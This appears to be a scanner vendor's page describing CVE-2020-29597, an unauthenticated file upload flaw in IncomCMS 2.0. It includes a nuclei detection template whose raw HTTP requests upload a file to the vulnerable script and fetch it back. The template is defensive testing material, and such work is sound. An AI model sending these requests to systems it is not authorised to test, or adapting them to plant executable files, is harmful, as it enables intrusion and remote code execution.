IncomCMS 2.0 - Arbitrary File Upload

criticalseverity

9.8CVSS score

71.3%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

IncomCMS 2.0 has a an insecure file upload vulnerability in modules/uploader/showcase/script.php. This allows unauthenticated attackers to upload files into the server.

Impact

Successful exploitation of this vulnerability can result in unauthorized access, data leakage, and potential remote code execution.

Fix

Apply the latest security patch or update to a version that addresses the vulnerability.

How to confirm it

Send: POST /incom/modules/uploader/showcase/script.php ; GET /upload/userfiles/image/{{randstr_1}}.png
Positive when: contains in body_1 "{\"status\":\"1\",\"name\":\"{{randstr_1}}.png\"}" AND contains in body_2 "{{randstr_2}}"

Run it with nuclei: nuclei -id CVE-2020-29597 -u <target>

The full check

id: CVE-2020-29597

info:
  name: IncomCMS 2.0 - Arbitrary File Upload
  author: princechaddha
  severity: critical
  description: |
    IncomCMS 2.0 has a an insecure file upload vulnerability in modules/uploader/showcase/script.php. This allows unauthenticated attackers to upload files into the server.
  impact: |
    Successful exploitation of this vulnerability can result in unauthorized access, data leakage, and potential remote code execution.
  remediation: |
    Apply the latest security patch or update to a version that addresses the vulnerability.
  reference:
    - https://github.com/Trhackno/CVE-2020-29597
    - https://nvd.nist.gov/vuln/detail/CVE-2020-29597
    - https://github.com/M4DM0e/m4dm0e.github.io/blob/gh-pages/_posts/2020-12-07-incom-insecure-up.md
    - https://m4dm0e.github.io/2020/12/07/incom-insecure-up.html
    - https://github.com/trhacknon/CVE-2020-29597
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-29597
    cwe-id: CWE-434
    epss-score: 0.71327
    epss-percentile: 0.99416
    cpe: cpe:2.3:a:incomcms_project:incomcms:2.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: incomcms_project
    product: incomcms
  tags: cve,cve2020,incomcms,fileupload,intrusive,incomcms_project,vkev,vuln

http:
  - raw:
      - |
        POST /incom/modules/uploader/showcase/script.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBEJZt0IK73M2mAbt

        ------WebKitFormBoundaryBEJZt0IK73M2mAbt
        Content-Disposition: form-data; name="Filedata"; filename="{{randstr_1}}.png"
        Content-Type: text/html

        {{randstr_2}}
        ------WebKitFormBoundaryBEJZt0IK73M2mAbt--
      - |
        GET /upload/userfiles/image/{{randstr_1}}.png HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - '{"status":"1","name":"{{randstr_1}}.png"}'

      - type: word
        part: body_2
        words:
          - '{{randstr_2}}'

References

Use this check only on systems you are authorised to test. Where the data comes from